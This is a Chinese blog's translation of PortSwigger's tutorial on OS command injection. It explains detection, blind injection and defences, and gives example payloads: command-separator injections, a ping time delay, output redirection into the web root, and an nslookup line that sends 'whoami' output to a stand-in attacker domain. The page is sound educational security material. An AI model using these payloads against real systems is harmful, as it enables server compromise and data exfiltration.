某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

    • 服务器端主题
    • SQL注入

    • 身份验证

    • 目录遍历

    • OS命令注入

      • OS命令注入
        • 什么是OS命令注入?
        • 执行任意命令
        • 可用的命令
        • OS命令盲注漏洞
          • 使用时间延迟 检测OS命令盲注
          • 通过输出重定向 利用OS命令盲注
          • 通过带外(OAST)技术 利用OS命令盲注
        • 注入OS命令的方法
        • 如何防范OS命令注入攻击
    • 业务逻辑漏洞

    • 信息泄露

    • 访问控制

    • 文件上传漏洞

    • 条件竞争

    • 服务端请求伪造(SSRF)

    • XML外部实体(XXE)注入

    • NoSQL注入

    • API测试

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

  • BurpSuite及官方实验室
  • 服务器端主题(翻译)
  • OS命令注入
clincat
2023-06-11
目录

OS命令注入

翻译

原文:https://portswigger.net/web-security/os-command-injection

- name: 翻译
  desc: 原文:https://portswigger.net/web-security/os-command-injection
  bgColor: '#F0DFB1'
  textColor: 'green'
1
2
3
4

# 1OS命令注入

在本节中,我们将解释什么是操作系统命令注入,描述如何检测和利用漏洞,详细说明 适用于不同操作系统 的一些有用命令和技术,并总结如何防范操作系统命令注入。

Not Found Image

实验室

如果您已经熟悉 操作系统命令注入漏洞 背后的基本概念,并且只想在一些实际的、易受攻击的目标上练习和利用它们,那么您可以从下面的链接访问本主题中的所有实验室。

View all OS command injection labs >> (opens new window)

# 1.1什么是OS命令注入?

OS 命令注入(也称为 shell 注入)是一个 Web 安全漏洞,允许攻击者在运行应用程序的服务器上 执行任意操作系统(OS)命令,这可能会完全破坏应用程序及其所有数据。通常,攻击者可以利用操作系统命令注入漏洞,来危害其他的主机或基础设施,利用信任关系 将攻击转移到组织内的其他系统。

提示

官方在此处提供了一个YouTuBe的链接:https://www.youtube.com/embed/8PDDjCW5XWw?origin=https://portswigger.net&rel=0 (opens new window)

# 1.2执行任意命令

假设有一个购物类型的应用程序,它允许用户查看 特定商店中的某个商品 是否有库存。此信息可通过以下 URL 来访问:

https://insecure-website.com/stockStatus?productID=381&storeID=29
1

为了提供库存信息,应用程序必须查询各种遗留系统。由于历史原因,该功能是以 productID 和 storeID 作为参数,然后调用 shell 命令来实现的:

stockreport.pl 381 29
1

此命令输出指定商品的库存状态,并将状态返回给用户。

由于应用程序未对 OS命令注入实施防御,因此攻击者可以提交以下输入来执行任意命令:

& echo aiwefwlguh &
1

如果此输入是在 productID 参数中提交的,则应用程序执行的命令为:

stockreport.pl & echo aiwefwlguh & 29
1

echo命令的作用 只是使提供的字符串在输出中回显,并且是测试某些类型的 OS命令注入的有用方法。&字符是一个 shell 命令分隔符,因此实际上执行的是三个独立的命令。最后,返回给用户的输出为:

Error - productID was not provided
aiwefwlguh
29: command not found
1
2
3

这三行输出表明:

  • 原先的stockreport.pl命令 在没有预期参数的情况下执行,因此返回了错误消息。
  • 执行注入的echo命令,在输出中回显了提供的字符串。
  • 原始参数29被作为命令而执行,这导致了错误。

将附加命令分隔符&放在注入的命令之后 通常很有用,因为它将注入的命令 与 注入点之后的任何命令分隔开。这降低了 后续内容阻止注入命令被执行 的可能性。

实验室-学徒

OS命令注入,简单示例 >>

- name: 实验室-学徒
  desc: OS命令注入,简单示例 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/os-command-injection/lab-simple
  bgColor: '#001350'
  textColor: '#39d50c'
1
2
3
4
5
6

# 1.3可用的命令

当识别出 OS命令注入漏洞后,通常需要执行一些初始命令,以获取 被入侵系统 的有关信息。以下是一些在 Linux 和 Windows 平台上可用的命令总结:

命令用途 Linux Windows
当前用户名 whoami whoami
操作系统 uname -a ver
网络配置 ifconfig ipconfig /all
网络连接 netstat -an netstat -an
正在运行的进程 ps -ef tasklist

# 1.4OS命令盲注漏洞

许多 OS命令注入实例 都是盲注漏洞。这意味着应用程序不会在其 HTTP 响应中返回命令的输出。但盲注漏洞仍然可以被利用,但需要不同的技术。

假设有一个网站,它允许用户提交关于该网站的反馈信息。用户输入他们的电子邮件地址 和 反馈消息。然后,服务器端应用程序 向站点管理员生成一封包含反馈的电子邮件。为此,它会调用邮件程序 并提交详细信息。例如:

mail -s "这个网站很棒" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
1

mail命令的输出(如果有的话)不会在应用程序的响应中返回,因此,使用echo命令作为有效负载将无效。在这种情况下,你可以使用各种其他技术来检测和利用漏洞。

# 1.4.1使用时间延迟 检测OS命令盲注

你可以使用 触发时间延迟 的注入命令,从而允许你 根据应用程序响应所需的时间,来确认命令是否已执行。ping命令是执行此操作的有效方法,因为它允许你指定要发送的 ICMP 数据包数量,从而指定命令运行所需的时间:

& ping -c 10 127.0.0.1 &
1

此命令将导致 应用程序对其环回网络适配器 执行 10 秒钟的 ping 操作。

实验室-从业者

具有时间延迟的OS命令盲注 >>

- name: 实验室-从业者
  desc: 具有时间延迟的OS命令盲注 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 1.4.2通过输出重定向 利用OS命令盲注

你可以将注入命令的输出,重定向到 Web 根目录中的文件中,然后使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,则可以提交以下输入:

& whoami > /var/www/static/whoami.txt &
1

字符>会将whoami命令的输出 发送到指定的文件。然后,你可以使用浏览器访问https://vulnerable-website.com/whoami.txt以检索文件,并查看注入命令的输出。

实验室-从业者

具有输出重定向的OS命令盲注 >>

- name: 实验室-从业者
  desc: 具有输出重定向的OS命令盲注 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 1.4.3通过带外(OAST)技术 利用OS命令盲注

你可以使用 OAST 技术来注入命令,该命令将触发带外网络交互 到你控制的系统上。例如:

& nslookup kgji2ohoyw.web-attacker.com &
1

该负载使用nslookup命令对指定的域进行 DNS 查找。攻击者可以监控 指定的查找是否发生,从而检测命令是否已成功注入。

实验室-从业者

带外交互的OS命令盲注 >>

- name: 实验室-从业者
  desc: 带外交互的OS命令盲注 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

带外通道还提供了一种简单的方法,可以从注入的命令中提取输出:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
1

这将导致 DNS 去查找攻击者的域,其中包含whoami命令的结果:

wwwuser.kgji2ohoyw.web-attacker.com
1

实验室-从业者

带外数据泄露的OS命令盲注 >>

- name: 实验室-从业者
  desc: 带外数据泄露的OS命令盲注 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration
  bgColor: '#001350'
  textColor: '#4cc1ff'
1
2
3
4
5
6

# 1.5注入OS命令的方法

可以使用各种 shell 元字符来执行 OS 命令注入攻击。

许多字符用作命令分隔符,允许将命令链接在一起。以下命令分隔符适用于 Windows 和 Unix 的系统:

  • &
  • &&
  • |
  • ||

以下命令分隔符仅适用于 Unix 的系统:

  • ;
  • 换行(0x0a 或 \n)

在基于 Unix 的系统上,你还可以使用 反引号或美元字符 在原始命令中执行注入命令的内联执行:

  • ` 注入命令 `
  • $( 注入命令 )

请注意,不同的 shell 元字符具有不同的细微行为,这些行为可能会影响它们 在某些情况下是否生效,以及它们是否允许 检索带内命令回显 或 仅对盲目利用有效。

有时,你控制的输入会显示在原始命令的引号内。在这种情况下,在使用合适的 shell 元字符注入新命令之前,你需要终止带引号的上下文(使用 " 或 ')。

# 1.6如何防范OS命令注入攻击

到目前为止,防范 OS命令注入漏洞的最有效方法是,永远不要从应用层代码中 调用操作系统命令。在几乎所有情况下,都要使用更安全的平台 API 来实现所需功能的替代方法。

如果认为不可避免地,必须要使用用户提供的输入 来调用操作系统命令,则必须执行强输入验证。有效验证的一些示例包括:

  • 根据允许值的白名单进行验证。
  • 验证输入是否为数字。
  • 验证输入是否仅包含 字母/数字 字符,不包含其他语法或空格。

不要试图通过转义 shell 元字符来清理输入。在实践过程中,这太容易出错,并且很容易被熟练的攻击者绕过。

学习更多

使用Burp Suite的Web漏洞扫描程序 查找OS命令注入漏洞 >> (opens new window)

阅读PortSwigger研究团队在 44Con 和 BSides Manchester 上发表的 异步漏洞搜寻 演示文章 >> (opens new window)

编辑 (opens new window)
目录遍历
业务逻辑漏洞

← 目录遍历 业务逻辑漏洞→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式